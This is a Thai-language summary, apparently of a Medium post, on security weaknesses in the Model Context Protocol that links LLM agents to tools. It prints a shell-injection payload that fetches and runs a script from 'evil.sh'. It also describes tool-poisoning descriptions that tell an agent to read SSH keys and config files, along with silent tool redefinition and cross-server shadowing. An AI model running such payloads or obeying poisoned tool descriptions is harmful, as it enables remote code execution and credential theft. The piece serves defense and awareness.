“S” ใน MCP หมายถึงความปลอดภัย
(medium.com/@elenacross7)- Model Context Protocol (MCP) กำลังได้รับความสนใจในฐานะมาตรฐานสำหรับเชื่อมต่อเอเจนต์ LLM อย่าง Claude, GPT, Cursor เข้ากับเครื่องมือและข้อมูล แต่โมเดลความปลอดภัยพื้นฐานยังอ่อนแอ ทำให้การนำมาใช้อาจขยายพื้นผิวการโจมตีได้
- แม้จะทำให้การเชื่อมต่อ API มาตรฐาน เซสชันต่อเนื่อง การรันคำสั่ง และการแชร์คอนเท็กซ์สะดวกขึ้น แต่การเชื่อมต่อกับเซิร์ฟเวอร์ใดๆ ก็อาจกลายเป็นเส้นทางอ้อมไปสู่ เชลล์·ซีเคร็ต·อินฟรา ได้
- ในการทดสอบของ Equixly พบว่า มากกว่า 43% ของการติดตั้ง MCP server มีการเรียกเชลล์ที่ไม่ปลอดภัย และ Invariant Labs กล่าวถึง Tool Poisoning Attack ที่ซ่อนคำสั่งประสงค์ร้ายไว้ในคำอธิบายเครื่องมือ
- MCP ยังขาดมาตรฐานการยืนยันตัวตน การเข้ารหัสคอนเท็กซ์ และการตรวจสอบความถูกต้องสมบูรณ์ของเครื่องมือ อีกทั้งผู้ใช้ยังมองเห็นคำสั่งเครื่องมือทั้งหมดที่เอเจนต์อ่านจริงได้ยาก
- นักพัฒนาจำเป็นต้องตรวจสอบอินพุตและตรึงเวอร์ชัน แพลตฟอร์มควรแสดงเมทาดาทาและใช้แฮชตรวจสอบความถูกต้องสมบูรณ์ ส่วนผู้ใช้ต้องเฝ้าระวังการเชื่อมต่อเซิร์ฟเวอร์ใดๆ และการอัปเดตเครื่องมือที่ไม่คาดคิด
เหตุผลที่ MCP กลายเป็นพื้นผิวการโจมตี
- MCP (Model Context Protocol) เป็นมาตรฐานใหม่สำหรับวิธีที่ LLM ผสานรวมกับเครื่องมือและข้อมูล และถูกเรียกว่า “USB-C สำหรับ AI agent”
- เอเจนต์สามารถจัดการงานหลายอย่างผ่าน MCP ได้ในรูปแบบที่เป็นมาตรฐาน
- เชื่อมต่อกับเครื่องมือผ่าน API มาตรฐาน
- รักษาเซสชันต่อเนื่อง
- รันคำสั่ง
- แชร์คอนเท็กซ์ระหว่างเวิร์กโฟลว์
- ปัญหาหลักคือ MCP ไม่มี โมเดลความปลอดภัยพื้นฐาน ให้มา
- หากเชื่อมต่อเอเจนต์กับ MCP server ใดๆ ก็อาจเกิดไซด์แชนเนลไปสู่เชลล์ ซีเคร็ต และอินฟราได้
รูปแบบการโจมตีที่ถูกกล่าวถึงจริง
-
ช่องโหว่ Command Injection
- ในการทดสอบของ Equixly พบว่า มากกว่า 43% ของการติดตั้ง MCP server มีการเรียกเชลล์ที่ไม่ปลอดภัย
- โค้ดตัวอย่างผูกอินพุตผู้ใช้เข้ากับคำสั่งเชลล์โดยตรง เช่น
os.system("notify-send " + notification_info['msg']) - หากผู้โจมตีใส่เพย์โหลดอย่าง
"; curl evil.sh | bash"ลงในพารามิเตอร์ของเครื่องมือ MCP ก็อาจเกิดการรันโค้ดจากระยะไกลผ่านเอเจนต์ที่ได้รับความเชื่อถือ
-
Tool Poisoning Attack
- การโจมตีที่ Invariant Labs กล่าวถึงคือการซ่อนคำสั่งประสงค์ร้ายไว้ใน คำอธิบายเครื่องมือ MCP
- คำอธิบายนี้ผู้ใช้มองไม่เห็น แต่ AI จะเห็นโดยตรง
- เครื่องมือตัวอย่างดูเหมือนฟังก์ชันบวกตัวเลขสองตัว แต่ในคำอธิบายมีคำสั่งให้อ่าน
~/.ssh/id_rsaและ~/.cursor/mcp.json - เอเจนต์อย่าง Cursor อาจทำตามคำสั่งเหล่านี้ได้
-
Silent Redefinition
- เครื่องมือ MCP สามารถเปลี่ยนนิยามของตัวเองหลังติดตั้งได้
- แม้ผู้ใช้จะอนุมัติเครื่องมือที่ดูปลอดภัยในวันแรก แต่ภายหลังอาจถูกเปลี่ยนอย่างเงียบๆ ให้ส่ง API key ไปยังผู้โจมตี
- สิ่งนี้มองได้ว่าเป็น ปัญหา supply chain ที่เข้ามาอยู่ภายใน LLM
-
Cross-Server Tool Shadowing
- เมื่อมีหลายเซิร์ฟเวอร์เชื่อมต่อกับเอเจนต์เดียวกัน เซิร์ฟเวอร์ประสงค์ร้ายอาจเขียนทับหรือดักจับการเรียกที่มุ่งไปยังเซิร์ฟเวอร์ที่เชื่อถือได้
- ผลลัพธ์ที่เป็นไปได้มีดังนี้
- ส่งอีเมลที่ดูเหมือนส่งถึงผู้ใช้ไปยังผู้โจมตี
- แทรกลอจิกลับในเครื่องมือที่ไม่เกี่ยวข้อง
- เข้ารหัสการรั่วไหลของข้อมูลผ่านอาร์กิวเมนต์ที่สังเกตเห็นได้ยาก
กลไกความปลอดภัยที่ยังขาด และแนวทางรับมือแยกตามบทบาท
- ลำดับความสำคัญปัจจุบันของ MCP ใกล้เคียงกับการผสานรวมที่ง่ายและอินเทอร์เฟซรวมศูนย์ โดยยังขาดฟีเจอร์ความปลอดภัยต่อไปนี้
- ไม่มี มาตรฐานการยืนยันตัวตน
- ไม่มีการเข้ารหัสคอนเท็กซ์
- ไม่มีวิธีตรวจสอบความถูกต้องสมบูรณ์ของเครื่องมือ
- ผู้ใช้ไม่สามารถตรวจสอบคำสั่งเครื่องมือทั้งหมดที่เอเจนต์เห็นได้ และไม่มีกลไกสำหรับยืนยันว่า “เครื่องมือนี้ไม่ได้ถูกดัดแปลง”
-
นักพัฒนา
- ใช้การตรวจสอบอินพุต
- ตรึงเวอร์ชันของ MCP server และเครื่องมือ
- ปรับแต่งคำอธิบายเครื่องมือให้ปลอดภัย
-
ผู้สร้างแพลตฟอร์ม
- แสดงเมทาดาทาของเครื่องมือทั้งหมด
- ใช้ แฮชตรวจสอบความถูกต้องสมบูรณ์ สำหรับการอัปเดตเซิร์ฟเวอร์
- บังคับใช้ความปลอดภัยของเซสชัน
-
ผู้ใช้
- อย่าเชื่อมต่อกับเซิร์ฟเวอร์ใดๆ โดยไม่พิจารณา
- มอนิเตอร์พฤติกรรมของเซสชันเหมือนกับ production log
- เฝ้าระวังการอัปเดตเครื่องมือที่ไม่คาดคิด
แนวคิด ScanMCP.com
- ScanMCP.com อาจมีสแกนเนอร์และแดชบอร์ดสำหรับ audit เครื่องมือ MCP ที่เชื่อมต่ออยู่
- สิ่งที่แสดงอาจรวมถึง
- ความเสี่ยงอย่าง RCE, tool poisoning, session leak
- ความแตกต่างระหว่างข้อมูลที่ผู้ใช้เห็นกับ ข้อมูลที่เอเจนต์เห็น
- กลุ่มเป้าหมายที่เหมาะสมคือทีมความปลอดภัยของแพลตฟอร์มเอเจนต์, สตาร์ทอัพด้านโครงสร้างพื้นฐาน AI และผู้สร้างเครื่องมืออิสระที่ให้ความสำคัญกับความเชื่อมั่น
- MCP ทรงพลัง แต่จนกว่าจะมีโปรโตคอลความปลอดภัยพื้นฐานพร้อมใช้งาน ก็ยังจำเป็นต้องมีเครื่องมือที่ให้การมองเห็นและการควบคุม
ยังไม่มีความคิดเห็น